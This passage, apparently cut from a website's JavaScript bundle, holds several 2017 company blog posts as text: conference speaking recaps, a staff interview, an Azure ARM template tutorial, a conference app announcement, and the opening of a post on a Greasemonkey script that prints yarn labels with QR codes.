Introduction to Swift title slide" />\n\nInfinity was also represented by Jay Hannah,\nwho gave a great presentation on some civic hacking heâs done, trying\nto figure out whatâs going on with Tax Increment Financing in the\nOmaha area. Because of the\n[conference app we had contributed](/resources/blog/announcing-our-tpc-2017-app),\nwe also had a booth on the expo floor, where we enjoyed hanging out\nand catching up with folks.\n\n<div class="two-column-grid">\n<img src="/content/images/blogs/so-much-speakerlife/tpc-jay.jpg" alt="Jay with title slide to his Civic Hacking talk" title="Jay with title slide to his Civic Hacking talk"">\n<img src="/content/images/blogs/so-much-speakerlife/tpc-booth.jpg" alt="Infinity booth at The Perl Conference" title="Infinity booth at The Perl Conference">\n</div>\n\nIt was great fun to be back in the DC area again (I once lived there\nfor over a decade), as well as to catch up with my Perl family and\nfind out all the new exciting things theyâve been up to. Iâm already\nlooking forward to next year!\n\n## OpenWest\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/openwest-sign.jpg" alt="OpenWest conference sign" title=="OpenWest conference sign">\n</div>\n\nFollowing TPC, in mid-July, I headed down to Sandy, Utah, for\n[OpenWest](https://www.openwest.org/) â the biggest little Open Source\nconference you havenât heard of. I gave three talks at OpenWest â\n[âJSON Web Tokens Will Improve Your Lifeâ](https://www.slideshare.net/genehackdotorg/json-web-tokens-will-improve-your-life-77849284),\n[âFriends Donât Let Friends Browse Unencryptedâ](https://www.slideshare.net/genehackdotorg/friends-dont-let-fr
1iends-browse-unencrypted-running-a-vpn-for-friends-and-family),\nand\n[âLogs Are Magic!â](https://www.slideshare.net/genehackdotorg/logs-are-magic-why-git-workflows-and-commit-structure-should-matter-to-you-77889736)\nâ one each day of the conference. This kept me fairly busy!\n\nAnother highlight of OpenWest was getting the chance to hang out for a\nlittle bit on a Twitch stream with Spencer "Nibs" Krum. We discussed\nmy âLogs Are Magicâ talk and various Git tips and tricks.\n\n## Kansas City Developers Conference (KCDC)\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/kcdc-sign.jpg" alt="Kansas City Developers Conference welcome sign" title="Kansas City Developers Conference welcome sign">\n</div>\n\nAugust found me visiting Kansas City for\n[KCDC](http://www.kcdc.info/). This was my first time at this\nconference, and I discovered that it offered up a very interesting mix\nof Open Source, web programming, and .NET development content. They\nalso had awesome catered lunches every day, which was super convenient\nâ no leaving the venue to try to find food!\n\nI delivered\n[âA Modest Introduction to Swiftâ](https://www.slideshare.net/genehackdotorg/a-modest-introduction-to-swift-78572357)\nat KCDC. Iâve been to a number of conferences for the first time this\nyear, and I have to say that KCDC was the most welcoming of them\nall. They had top notch speaker support (and swag!) and a super\nfriendly community. Iâm looking forward to my next time at KCDC!\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/kcdc-swag.jpg" alt="KCDC notebook swag" title="KCDC notebook swag" />\n</div>\n\n## Ohio LinuxFest (OLS)\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/ols-id.jpg" alt="John\'s Ohio LinuxFest badge" title="John\'s Ohio LinuxFest badge" />\n</div>\n\nTowards the end of September, I headed off to Columbus for\n[Ohio LinuxFest](https://ohiolinux.org/). I delivered two talks\n([âOld Dogs & New Tricks: Whatâs New With Perl5 This Centuryâ](https://www.slideshare.net/genehackdotorg/old-dogs-new-tricks-whats-new-with-perl5-this-century)\nand\n[âJSON Web Tokens Will Improve Your Lifeâ](https://www.slideshare.net/genehackdotorg/json-web-tokens-will-improve-your-life-80322281))\nas well as reprising my â#speakerlifeâ lightning talk.\n\nI ran into a few folks at OLS that had seen me speak earlier this year\nat [LinuxFest NorthWest](/resources/blog/infinity-at-linuxfest-northwest),\nwho went out of their way to compliment my talks, which was very nice.\nOne even described how âLogs Are Magic!â had caused him to totally\nrethink how he was using version control in an upper level college\nprogramming course he teaches, which was totally awesome. Remember,\nfolks, if you like a talk you see, say something to the speaker â\nyouâll make their day.\n\nOhio LinuxFest was very well run for a volunteer-organized conference,\nand the talks I managed to see when I wasnât making last-minute tweaks\nto my own talks were top-notch â I particularly enjoyed the keynote\nfrom [M\xe1ir\xedn Duffy](https://twitter.com/mairin), about the importance\nof good user experience in Open Source.\n\n## SeaGL\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/seagl-sign.jpg" alt="Welcome to Seattle GNU/Linux sign" title="Welcome to Seattle GNU/Linux sign" />\n</div>\n\nFinally, this past weekend, I drove up to Seattle to speak at\n[SeaGL](http://seagl.org/) for the second time. This year, I did two\ntalks â\n[âLogs Are Magic!â](https://www.slideshare.net/genehackdotorg/logs-are-magic-why-git-workflows-and-commit-structure-should-matter-to-you-80545326)\nand\n[âA Static Site Generator Should Be Your Next Learning Projectâ](https://www.slideshare.net/genehackdotorg/a-static-site-generator-should-be-your-next-language-learning-project)\nâ as well as another version of my â#speakerlifeâ lightning talk at\nthe after party. This was my first time delivering the static site\ngenerator talk, and I think it went really well! Iâm looking forward\nto revising it and delivering it a few more times next year.\n\nI was on the program committee for SeaGL, so Iâm probably more than a\nlittle bit bi
1ased, but I think we had a really great set of talks this\nyear. In particular, âWriting the Next Great Tech Bookâ by [Brian\nMacDonald](https://twitter.com/bmac_editor) was super enjoyable. If\nyouâve ever considered writing a book, you should try to see Brianâs\ntalk â heâs got the inside info and he shares all of it.\n\n## ...and one more to go!\n\nIâve got one more conference on my calendar this year â [All Things\nOpen](https://allthingsopen.org/), coming up in a few weeks in\nRaleigh, NC. Iâll be giving my âA Modest Intro to Swiftâ talk (and\nthen probably retiring it for good, or at least a good long\nwhile). This will be my first visit to ATO, and Iâm extremely excited\nfor it. Iâll be looking forward to seeing many friends and making many\nnew friends â hope to see you there!\n',icon:R.A,color:"amber"};var E=t(69);let L={slug:"meet-eric-wagoner",title:"Meet Eric Wagoner",excerpt:"An interview withEric Wagoner.",authors:["Eric Wagoner","Rob Kopf"],publishDate:new Date("2017-09-15"),category:"Team",tags:["Culture","People","Interview"],readTime:"6 min read",content:'<div class="float:right">\n<img src="/content/images/blogs/meet-eric-wagoner/eric.jpg"\n alt="Eric Wagoner"\n title="Eric Wagoner"\n width="250" />\n</div>\n\n_In this latest post in our interview series, weâd like to introduce\nyou to our own Eric Wagoner, the magnificent man of many talents. He\nis one of our senior developers._\n\n**Name, Company, Title, City**\n\nEric Wagoner, Infinity Interactive, Senior Developer, Athens Georgia\n\n\x3c!-- cut --\x3e\n\n**When did you first work with Infinity?**\n\nI was lucky enough to be added to the II team in January of 2016.\n\n**What are six words you think of when you think of Infinity?**\n\nââ¦maybe you can hire The A-Teamâ\n\nOk⦠I guess I should explain. I loved the A-Team growing up. The bold\npersonalities, the smarts _and_ cleverness, the principles, the cooperation. I\nwanted to grow up and be part of the Team and when I joined Infinity, I felt\nlike I finally did. Weâre not wanted for crimes we didnât commit, and you rarely\nhave to break one of us out of an asylum, but other than that itâs pretty much\nexactly the same.\n\n<div class="center">\n<img src="/content/images/blogs/meet-eric-wagoner/a-team.jpg"\n alt="The A-Team" title="The A-Team">\n</div>\n\n**What would you be doing if you werenât in your current job?**\n\nBefore I settled down into a career of software development, I had a knack of\nspinning odd skills into paychecks. Itâs hard to think of other jobs that offer\nthe variety of creative problem-solving opportunities I have now, but maybe mad\nscientist? Junior High teacher? Live theater director? Mountain man? (All things\nIâve done before, come to think of it.)\n\n**I thought youâd say âjoin the circus,â given your love of trapeze...**\n\nYes, trapeze. I took trapeze classes for almost four years. The classes are taught by Canopy\nStudio, a model for aerial performance groups across the country. It was founded\nout of a performing dance trapeze troupe started by a former Cirque performer\nand some folks from the UGA dance department. (Athens attracts all sorts of\neclectic creative people, and thatâs one of the reasons Iâve stayed here twenty\nyears.) I recently had to curtail my time up in the ropes, thanks to a\ndecades-old shoulder injury, but I hope to get past that and climb back up there\nagain soon.\n\n**What chore do you absolutely hate doing?**\n\nIâve come to terms with it being my lot in life to do chores, so I donât get too\nhung up about it now. I can still remember, though, how much I hated one of my\nchildhood chores. I grew up way out in the country with a menagerie of outdoor\nanimals, and one of my chores was to take care of the three horses. We didnât\nhave a barn for them, or any shelter at all. Before school I had to get up and\nput on my âscruffyâ clothes and go outside to feed and water them. After school\nI had to change out of my good school clothes back into the scruffy clothes and\ngo feed and water them again. I know now it couldnât have been true, but it\nseemed like every morning it was the worst thunderstorm Iâd ever seen and every\nafternoon it was the worst humid mugginess ever. I loved the horses but I hated\nhaving to go out there and stand over their feed buckets while they were eating,\ntrying not to let the mud and rain in. It was the worst, and I swore Iâd never\nhave horses when I grew up.\n\nI still havenât, but every now and again, I kind of want to have horses.\n\n<div class="center">\n<img src="/content/images/blogs/meet-eric-wagoner/atreyu-artax.gif"\n alt="Atreyu pulling Artax in the Swamp of Sadness"\n title="Atreyu pulling Artax in the Swamp of Sadness" />\n</div>\n\n**What are six words to describe technology in your work? In your life?**\n\nPractical, well considered, pleasure to use.\n\nI do enjoy leisurely things like console gaming and stuff like that, but what\nreally gets me excited is practical technology that helps us achieve more. I\nlike to build software that takes the drudgery out of tasks (without adding\ndrudgery of another sort). I like hardware that is elegant, reliable, and\nuseful. Iâm a sucker for contraptions and devices for manual labor too, like a\nwell-crafted apple peeler.\n\n**What te
1chnology do you (realistically) look forward to arriving in the next 5\nyears? What if it didnât have to be realistic?**\n\nWearable tech and augmented reality has me excited. I used to think itâd be\nwonderful when the Hitchhikerâs Guide to the Galaxy became a real thing, and the\narrival of smartphones suddenly made it so. And it turns out thatâs just the tip\nof the iceberg â accessing information on our pocket screens takes us out of\ninteraction with the world around us for a bit and keeps it a separate thing.\nAugmented reality and personal sensors have the potential to give us relevant\ninformation without us having to disengage with our surroundings, and I love\nthat potential. We wonât get there in five years, but itâll be really\ninteresting as we take the first few steps toward getting there.\n\n**How do you recharge?**\n\nMainly by growing things and then eating them. Both gardening and\ncooking are hobbies of mine, enough so that over time my garden grew\ninto a small market farm. I like to grow unusual things, varieties I\ncanât get at the grocery store, so when I tried to sell them I had to\neducate people about why there are orange eggplants, how to cook with\nred-leafed spinach, and why they should care about twenty different\ntypes of potatoes. Not everyone did care in the end, but my enthusiasm\nwas infectious enough that I ended up writing a whole [online farmers\nmarket system](http://locallygrown.net) to power my market, and now\nthatâs in use by several hundred other communities. The scale of my\ngarden has shrunk back down again as Iâve gotten older, but digging in\nthe dirt and cooking up fresh ingredients are still my favorite ways\nto unwind and recharge.\n\n<div class="float:left">\n<img src="/content/images/blogs/meet-eric-wagoner/lemur.jpg" alt="A lemur" title="A lemur">\n</div>\n\n**Speaking of recharging, tell me about your trip to âLemur Islandâ...**\n\nMy partner Jen spent the first seven months of the year working on the only\nplace outside Madagascar that has free-ranging ring-tail lemurs, Saint\nCatherines Island, Georgia, and I was able to go visit her twice while she was\nthere. The story of how the lemurs came to roam a Georgia island is long and\nimprobable and involves Life Savers⢠candy. She [has a\nblog](http://nekonoir.wixsite.com/sevenonsaintcats) where she\'s\nwritten about her time on the island.\n',icon:E.A,color:"teal"};var F=t(4172);let $={slug:"azure-automation-made-easy",title:"Azure Automation Made Easy",excerpt:"So, what is Azure? Azure is Microsoft's cloud solution. It's a collection of services used to build, deploy, and manage applications. We do a lot of work with Azure here at Infinity.",authors:["Sean Sparkman"],publishDate:new Date("2017-06-27"),category:"Development",tags:["Technology","Azure"],readTime:"6 min read",featuredImage:"/content/images/blogs/tpc2017-app-azure-automation/azure-header.png",content:'<div class="float:right">\n<img src="/content/images/blogs/tpc2017-app-azure-automation/azure.png"\n alt="Microsoft Azure Cloud"\n title="Microsoft Azure Cloud"\n width="250" />\n</div>\n\nThe great thing about Azure is that itâs not limited\nto Microsoft platforms but also fully supports PHP, Node, Linux, and\nmany other Open Source technologies.\n\n\x3c!-- cut --\x3e\n\nMicrosoft provides a tool called Azure Resource Manager (ARM), which\nallows you to easily provision your applications with templates and\ndeploy multiple services and their dependencies. ARM templates are\nreusable, so whether you are creating a staging environment or\ndeploying a new instance of a product, you can use them to simplify\nthe deployment process for any project in Azure.\n\n## ARM Templates\n\nYou do not have to learn a new language or muck about with XML to use\nARM templates. They are written using\n[JSON](https://en.wikipedia.org/wiki/JSON), which is a convenient\nand widely supported option for writing configuration files.\nUnfortunately, JSON by itself does not support variable expressions.\nIn order to support variables and template re-use, Microsoft provides\na form of expression that is loosely based on Javascript that can be\nused inside templates.\n\n```json\n"resources": [\n {\n "apiVersion": "2014-06-01",\n "type": "Microsoft.Web/sites",\n "name": "[parameters(\'siteName\')]",\n "location": "[resourceGroup().location]",\n ...\n }\n]\n```\n\nInside your templates, you can create dependencies, output data, set\ntags, and so on. Anything you can do in the portal is possible with\nARM templates, but it can also be automated to avoid human error. This\nallows you to confidently create consistent environments inside Azure.\n\nIn the past, developers and IT professionals needed to use PowerShell\ncommands to manage Azure. The Azure CLI added supp
1ort for Bash. ARM\nprovides a RESTful API, which allows you to run your templates from\nthe provided SDKs, freeing you from any dependency on PowerShell or\nBash. In addition to running these languages in your environment, you\ncan also use .NET, Java, Node, PHP, Python, or Ruby SDKs to execute\nyour templates and create your Azure environment.\n\n## Generating ARM Templates\n\nIn the Azure cloud, resources are grouped together in Resource Groups.\nTypically, Resource Groups are tied to a specific region, but they can\nspan multiple regions. Azure creates ARM templates that are available\nthrough the portal under the âAutomation scriptâ blade or vertical tab\ninside of your Resource Group. This blade provides a parameterized ARM\ntemplate for the user and scripts to run the template with CLI,\nPowerShell, .NET, or Ruby.\n\n<div class="center">\n <a href="/content/images/blogs/tpc2017-app-azure-automation/example-2.png">\n <img src="/content/images/blogs/tpc2017-app-azure-automation/example-2-thumb.png"\n alt="Example showing the automation script blade"\n title="Example showing the automation script blade" />\n </a>\n</div>\n\n## Template Library\n\nGenerated templates are great, because you can save the template to\nyour library in the Azure portal. On the âAutomation scriptâ blade,\nselect the âAdd to Libraryâ button to save the template. The portal\nwill take you to a screen with name and description fields. Fill them\nin and click âSaveâ. If this is the first time youâve saved something,\nit may take a few moments for Azure to create your library. Thereâs a\nchance you will need to click âSaveâ again. Now your Resource Group\ntemplate is saved in the Azure portal.\n\n<div class="center">\n <a href="/content/images/blogs/tpc2017-app-azure-automation/example-4.png">\n <img src="/content/images/blogs/tpc2017-app-azure-automation/example-4-thumb.png"\n alt="Example highlighting the add to library button in the azure portal on the automation script blade"\n title="Example highlighting the add to library button in the azure portal on the automation script blade">\n </a>\n</div>\n\nOnce itâs saved there, you can use it to create more resources in\nAzure. Click on the âMore Servicesâ button to open the services blade.\nScroll down to the bottom to find the âTemplateâ button. The portal\nwill provide you with a list of the templates you have saved. Select\nthe template you wish to use. It will now show you the template itself\nas one file.\n\n<div class="center">\n <a href="/content/images/blogs/tpc2017-app-azure-automation/example-5.png" >\n <img src="/content/images/blogs/tpc2017-app-azure-automation/example-5-thumb.png"\n alt="Example highlighting the Templates button from the More Services blade in the Azure portal"\n title="Example highlighting the Templates button from the More Services blade in the Azure portal">\n </a>\n <a href="/content/images/blogs/tpc2017-app-azure-automation/example-3.png">\n <img src="/content/images/blogs/tpc2017-app-azure-automation/example-3-thumb.png"\n alt="Example showing the Templates blade"\n title="Example showing the Templates blade">\n </a>\n</div>\n\nYou can choose to edit or deploy the template. When you click\nâDeployâ, Azure will give you the option to fill in values for all\nyour parameters and select or create a Resource Group. Click\nâPurchaseâ once you have entered all the options you want. Remember\nyou cannot reuse the same name of a resource, even if itâs in a\ndifferent Resource Group â you must use a unique name.\n\n<div class="center">\n <a href="/content/images/blogs/tpc2017-app-azure-automation/example-6.png" >\n <img src="/content/images/blogs/tpc2017-app-azure-automation/example-6-thumb.png"\n alt="Example showing the screen to deploy an user created template inside of the Azure portal"\n title="Example showing the screen to deploy an user created template inside of the Azure portal">\n </a>\n</div>\n\nFrom your template library blade, you can also create your own\ntemplates or copy and paste your templates. Currently, there is no\noption to upload template files.\n\n## Parameters and Variables\n\nLike all programming, you need variables to make code dynamic.\nOtherwise your program will do the same thing every time you execute\nit. In the case of ARM templates, variables are generated inside the\ntemplate. Parameters are values passed into the template. Parameters\ncan have default values provided.\n\n```json\n{\n "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#",\n "contentVersion": "1.0.0.0",\n "parameters": {\n "app_name": {\n "value": "example-app-name"\n },\n "namespace_name": {\n "value": null\n },\n "notification_hub_name": {\n "value": null\n },\n "database_server_name": {\n "value": null\n }\n }\n ...\n}\n```\n\nVariables and parameters can be used inside the templates to provide\nvalues for properties. This becomes more powerful when using the\ntemplateâs functions like `concat` or `listKeys`. Variable and\nparameter substitution syntax is done by placing `[` and `]` brackets\ninside a JSON value. The syntax is similar to Javascript but is very\nlimited. There are a small set of\n[functions](https://docs.microsoft.com/en-us
1/azure/azure-resource-manager/resource-group-template-functions)\nyou can use. Strings are denoted with single quote marks, because JSON\nvalues require the double quote marks and multiple double quote marks\nwould cause a conflict. You must use the `concat` function to combine\nstrings.\n\n```json\n{\n "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#",\n "contentVersion": "1.0.0.0",\n "parameters": {\n "prefix": {\n "type": "string",\n "defaultValue": "prefix"\n }\n },\n "variables": {\n "appName": "[concat(parameters(\'prefix\'),\'-app\')]",\n "appServiceName": "[concat(variables(\'app\'),\'-service\')]"\n },\n "resources": [\n ...\n ],\n "outputs": {\n "concatOutput": {\n "value": "[concat(parameters(\'prefix\'), uniqueString(resourceGroup().id))]",\n "type": "string"\n }\n }\n}\n```\n\nFor example, using `listKeys`, I can set an app setting for my app\nservice with a security key for the storage account that was created.\nNow, I can use the storage account key in my web application without\nhaving to store it in my `web.config` file or manually configure the\nsetting. This is a more secure solution as the key doesnât have to be\npassed around or stored in a source repository.\n\n```json\n{\n "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.Jon#",\n "contentVersion": "1.0.0.0",\n "parameters": {\n "storageAccountId": {\n "type": "string"\n }\n },\n "resources": [\n ...\n ],\n "outputs": {\n "storageKeysOutput": {\n "value": "[listKeys(parameters(\'storageAccountId\'), \'2016-01-01\')]",\n "type": "object"\n }\n }\n}\n```\n\n## Resources\n\nFor more examples of ARM templates, be sure to visit the\n[Azure Quickstart Template repository](https://azure.microsoft.com/en-us/resources/templates/).\nMicrosoft also provides great documentation on\n[the template format](https://docs.microsoft.com/en-us/azure/templates/).\nKeep an eye out for our next post on Azure automation and how we\nleverage it to create the backend for\n[TPC 2017 DC mobile application](/resources/blog/announcing-our-tpc-2017-app)\n--- it will be posted soon. The Perl Conference is over for the year, but\nif you\'d like to take a look at the app, you can still find the mobile\napplication in the\n[Google Play Store](https://play.google.com/store/apps/details?id=com.iinteractive.conference.TPCNA2017)\nand the\n[Apple App Store](http://itunes.apple.com/app/id1240955831).\n',icon:F.A,color:"blue"};var q=t(7085);let N={slug:"infinity-at-beer-city-code",title:"Infinity at Beer City Code",excerpt:"This past weekend I visited Grand Rapids, Michigan for the first ever Beer City Code on the campus of Calvin College. I took a class on how to write .NET applications on a Mac, saw some great talks, presented a talk on JSON Web Tokens, and more. My full wrap up is below the fold.",authors:["John SJ Anderson"],publishDate:new Date("2017-06-14"),category:"Culture",tags:["Conferences","Culture","Technology","Passions"],readTime:"5 min read",featuredImage:"/content/images/blogs/beer-city-code/badge.jpg",content:'## Friday\n\nOn Friday, I attended the "Build an ASP.NET Core app without Windows"\ntraining presented by Nathan Loding. While I didn\'t get as much\naccomplished in the training as I had hoped, I came away with a better\nunderstanding of how some of the ASP.NET MVC scaffolding tools work,\nand I did get a basic application running on my Mac. I\'m hoping to get\na bit more time to play with ASP.NET MVC on my Mac later this year.\n\n## Saturday\n\nSaturday morning started bright and (very!) early at 8:30am with a\nkeynote from Microsoft evangelist Jon Galloway. I\'ve been saying for a\nfew years now that "need to compete" Microsoft is a lot more\ninteresting than "Evil Empire" Microsoft ever was, and this talk was a\ngreat illustration of that. Jon is the Executive Director of the .NET\nFoundation, and his talk was all about how Microsoft is contributing\nto Open Source. He also included a
1strong call to the audience to get\ninvolved in Open Source work, and shared some resources to help folks\nget their first pull request accepted.\n\nFollowing the keynote, I attended Keith Wedinger\'s "A Swift\nintroduction to Swift 3.1 (pun intended)". I\'ll be doing a very\nsimilar talk next week\nat [The Perl Conference](http://www.perlconference.us/tpc-2017-dc/),\nso I\'ll confess that part of my motivation here was to see somebody\nelse take on the same material. Keith did a good job of using the\nPlayground feature of XCode to give a quick walk-through of many of the\nbasic features of Swift 3.1, and covered a large amount of material in\na very understandable way.\n\nI took the next time slot to do a final review of my own slides in\nadvance of my talk, and then had some lunch and a lovely albeit\nunintentional tour of slightly more of the Calvin College campus than I\nhad intended. (That is to say, I got lost on the way back from lunch.)\n\nFollowing lunch, I attended "Life of a goat: Bridging the dev and ops\ngap" by Dave Long. Dave had a lot of very interesting things to say\nabout the current state of DevOps and how the original intent of the\nmovement has been diluted or even lost, and I don\'t think I can\nadequately summarize the talk here. I will say that if you get a\nchance to see Dave give this talk, you should jump on it â or if\nyou\'re looking for an excellent keynote for your DevOps conference,\nyou could do worse than invite Dave to present these ideas.\n\nNext up was Tim Smith with "Let\'s Learn CSS Grid". This was a really\ngood overview of the new CSS Grid standard, how to use it, what has\nsupport for it, and how to work around those browsers that lack it\n(*cough*IE, so shocking!_cough_).\n\nThen it was my turn! I presented my\n"[JSON Web Tokens Will Improve Your Life](https://www.slideshare.net/genehackdotorg/json-web-tokens-will-improve-your-life-76829789)"\ntalk. I thought it went pretty well! After that I was happy to kick\nback and relax for a bit until it was time for the evening brewery\ntour!\n\nOur tour visited several Grand Rapids-area brewpubs â Mitten, Harmony\nHall, Creston, and finally Founders â and sampled a number of\nexcellent beers at each. It was a great wrap up to a great conference!\n\n<div class="float:right">\n <a href="/content/images/blogs/beer-city-code/gift.jpg">\n <image src="/content/images/blogs/beer-city-code/gift-thumb.jpg"\n alt="Thematically appropriate speaker gift!"\n title="Thematically appropriate speaker gift!" />\n </a>\n</div>\n\n## Organizer shoutout\n\nI wanted to wrap up this wrap-up by giving the Beer City Code\norganizers some major kudos. In addition to doing a great job\ncommunicating with the speakers, giving me a lovely speaker gift, and\nproviding some excellent amenities in the speakers\' lounge, they also\nhandled a couple of major challenges on Saturday and didn\'t break a\nsweat even once. Having been involved with running a conference or\ntwo, I can really appreciate how difficult that is to do â and they\nmade it look easy. Looking forward to going back for the second Beer\nCity Code!\n',icon:q.A,color:"orange"},z={slug:"announcing-our-tpc-2017-app",title:"Announcing our TPC 2017 app!",excerpt:"Release announcement for TPC 2017 mobile application",authors:["Paul Zolnierczyk"],publishDate:new Date("2017-06-12"),featuredImage:"/content/images/blogs/tpc2017-app/TPC2017-splash.png",category:"Development",tags:["Technology","Xamarin","Perl"],readTime:"2 min read",content:'[Infinity loves Perl](/perl) and we\'re happy to announce our\ninvolvement in\n[The Perl Conference 2017](http://www.perlconference.us/tpc-2017-dc/).\nInfinity is proud to be a sponsor for the conference, and pleased to\nprovide the\n[Perl in a Day](http://www.perlconference.us/tpc-2017-dc/talks/#perl_in_a_day)\nworkshop by John "genehack" Anders
1on. Additionally, John is presenting\nhis\n"[A Modest Introduction to Swift](http://www.perlconference.us/tpc-2017-dc/talks/#a_modest_introduction_to_swift)"\ntalk, and Jay Hannah is giving a talk on\n"[Civic Hacking: TIF is millions of YOUR tax dollars](http://www.perlconference.us/tpc-2017-dc/talks/#civic_hacking_tif_is_millions_of_your_tax_dollars)".\nAnd one more thing⦠we\'re giving you a conference app on iOS and\nAndroid, to make it easier to browse the schedule on your mobile\ndevice!\n\n\x3c!-- cut --\x3e\n\nInfinity\'s latest conference app, made with\n[Xamarin](https://www.xamarin.com/), hosts a one-stop-shop to help you\nget the most out of your attendance of The Perl Conference. It\nfeatures:\n\n- Talk schedule (_with the ability to mark your favorite_)\n- Event schedule\n- [#tpc2017dc](https://twitter.com/hashtag/tpc2017dc) Twitter feed\n- Sponsor Info\n- Calendar integration\n\n<div class="center">\n <a href="/content/images/blogs/tpc2017-app/TPC2017-1-full.png">\n <img src="/content/images/blogs/tpc2017-app/TPC2017-1.jpg"\n alt="TPC 2017 Talks on iOS"\n title="TPC 2017 Talks on iOS"\n shadowoverride="true"\n class="float:left">\n </a>\n <a href="/content/images/blogs/tpc2017-app/TPC2017-2-full.png">\n <img src="/content/images/blogs/tpc2017-app/TPC2017-2.jpg"\n alt="Talk Details on Android"\n title="Talk Details on Android"\n shadowoverride="true"\n class="float:right">\n </a>\n</div>\n\nIt\'s available now in both the\n[Google Play Store](https://play.google.com/store/apps/details?id=com.iinteractive.conference.TPCNA2017)\nand the [iOS app store](http://itunes.apple.com/app/id1240955831)! If\nyou plan on attending The Perl Conference in D.C., we hope you\ndownload our app and let us know what you think. You can even have a\nchat with [@genehack](https://twitter.com/genehack) (_over a beverage,\nof course_) and let him know your thoughts as well.\n\nWe find ourselves thanking Xamarin a lot, but we love working with\nthem so much, so thanks again Xamarin for open sourcing the\n[Evolve conference](https://evolve.xamarin.com/) app. We\'re also\nhosting the entire backend for the app on the\n[Azure](https://azure.microsoft.com/) cloud. Finally, look for an\nupcoming blog post by our resident\n[Xamarin MVP](https://www.xamarin.com/mvp) Sean Sparkman on how we\nautomated our build and deployment process to enable us to iterate\nrapidly on changes to the app.\n\nFinally, if you would like help developing a custom, cross-platform,\nfully native mobile application for your next conference, or any other\nmobile development needs, [please contact us](/connect).\n',icon:m.A,color:"blue"};var H=t(3574);let G={slug:"stitching-up-a-better-monster",title:"Stitching Up a Better Monster",excerpt:"Bridging the gap between the virtual and physical woolrlds with the help of QR codes",authors:["Yanick Champoux"],publishDate:new Date("2017-06-09"),featuredImage:"/content/images/blogs/stitching-up-a-better-monster/labelled.jpg",category:"Development",tags:["Technology","JavaScript"],readTime:"7 min read",content:'The nice thing with knowing a technology well, is that you can create\na lot of nifty things. The _nicer_ thing with knowing a healthy\nsmattering of technologies, is that with the right amount of cunning\nand slyness you can gather things here and there and build something\nthat is niftier than the sum of its parts.\n\n\x3c!-- cut --\x3e\n\n## Casting on our usecase\n\nA few years ago my spouse corrupted me into the warm and fuzzy world\nof knitting. As it happens, there is an awesome website,\n[Ravelry](http://www.ravelry.com), that is a kind-of Facebook for the\nfiber world. There are forums, an impressive array of knitting/crochet\npatterns, both free and for sale, and one can pretty much record all\nthat relates to the craft â past and present projects, lists of\nneedles and hooks one has, details of the yarn stash one possesses,\netc.\n\n(Oh yeah, incidentally, I am\n[yenzie](http://www.ravelry.com/people/yenzie) on Ravelry, if you ever\nwant to come and say \'_hi!_\'.)\n\nBut I\'m getting ahead of myself. Let\'s forget about Ravelry for just a\nmoment, and talk about yarn. To the unitiated, the fundamental\nattributes of a ball of yarn are pretty limited and easy to see: there\nis a color, and⦠yeah, a color pretty much sums it up.\n\nTo knitters, it\'s a little more involved than that. There is the fiber\ncontent of the yarn (pure wool? cotton? silk? synthetic fibers?), the\nsize of the yarn itself (fingering, worsted, bulky), the manufacturer,\nthe name of that type of yarn, the colorway and usually the dye number\nas well (because this black might look like that black, but trust me\nunless they are part of the same dye batch, chances are they\'ll look\nsl
1iiiiighty different when you knit them together).\n\nFortunately, yarn balls always come with a label that holds that good\nwholesome information. _Unfortunately_, those labels tend to fall down\nand disappear from time to time.\n\nFortunately, (and as I snap my fingers you\'ll remember) there is\nRavelry and its yarn database, where one can get back all the\ninformation that was on that label.\n\n<div class="center">\n <img src="/content/images/blogs/stitching-up-a-better-monster/ravelry_stash.png"\n alt="example of a Ravelry stash page"\n title="example of a Ravelry stash page" />\n <figcaption>It\'s all there</figcaption>\n</div>\n\nUnfortunately⦠that\'s information that lives in the computer, and we\nwant it in the physical world. Attached to that ball of yarn.\n\nWhich makes one think: wouldn\'t it be cool if we could just print a\nnew label from Ravelry?\n\n## Going off the pattern\n\nAs it stands right now, Ravelry doesn\'t generate yarn labels. But all\nthe data is there. All that is needed, really, is to rearrange it in a\nlabelish way.\n\nAnd this is where the frankensteining begins.\n\nThe Firefox add-on [Greasemonkey](http://www.greasespot.net/) (or\nGoogle\'s Chrome equivalent [Tampermonkey](http://tampermonkey.net/))\nallows you to write JavaScript scripts to tweak webpages. In this\ncase, it\'s not hard to add a `print` button to a stash page that, when\nclicked, will morph the page such that it\'ll print as a label band.\n\n## Adding sequins. Because, hey, why not?\n\nâ¦but wait! With our little monkeying, we can print out the label. But\nwouldn\'t it be _way_ cool to complete the loop and give ourselves a\nway back to the Ravelry stash page from that label?\n\nWell, yeah, I know what you\'re thinking: we could print the URL of the\nstash page on the label. And it would work. It\'s just⦠not very magic.\nHow about adding that URL as a QR code instead? That way, one would\njust have to point their phone\'s camera at the label instead of typing\nthat URL.\n\nHappily for us, there are a few JavaScript libraries that implement\nthe creation of those QR codes. We add one of those libraries to the\nGreasemonkey script, invoke the QR code generation function at the\nright place⦠_et voil\xe0_.\n\n<div class="center">\n <img src="/content/images/blogs/stitching-up-a-better-monster/print_icon.png"\n alt="Ravelry stash page with the print icon"\n title="Ravelry stash page with the print icon" />\n <figcaption>Lookee, a new print option!</figcaption>\n <img src="/content/images/blogs/stitching-up-a-better-monster/label.png"\n alt="yarn label print preview"\n title="yarn label print preview" />\n <figcaption>Producing a nice little label</figcaption>\n <img src="/content/images/blogs/stitching-up-a-better-monster/labelled.jpg"\n alt="printed yarn label"\n title="printed yarn label" />\n <figcaption>This is what it looks like in the wild</figcaption>\n</div>\n\n## Stitches\' glossary\n\nIf you only want to use the script, you can go and get it\n[here](https://github.com/yanick/gm-ravelry-stash-label/raw/releases/dist/ravelry-stash-label.user.js).\nIf you want to have a quick tour of how it was put together, keep on\nreading.\n\nNow, before we start with the code I have to admit I did something\nfunny. As mentioned in the section above, I\'ll use an external\nJavaScript library, [kjua](https://larsjung.de/kjua/), for the\ngeneration of the QR code. I\'ll also drag in\n[jQuery](https://jquery.com), because it makes DOM manipulations\n_sooo_ easy. Greasemonkey has a way to declare dependencies, that will\nbe fetched and cached the first time the script is 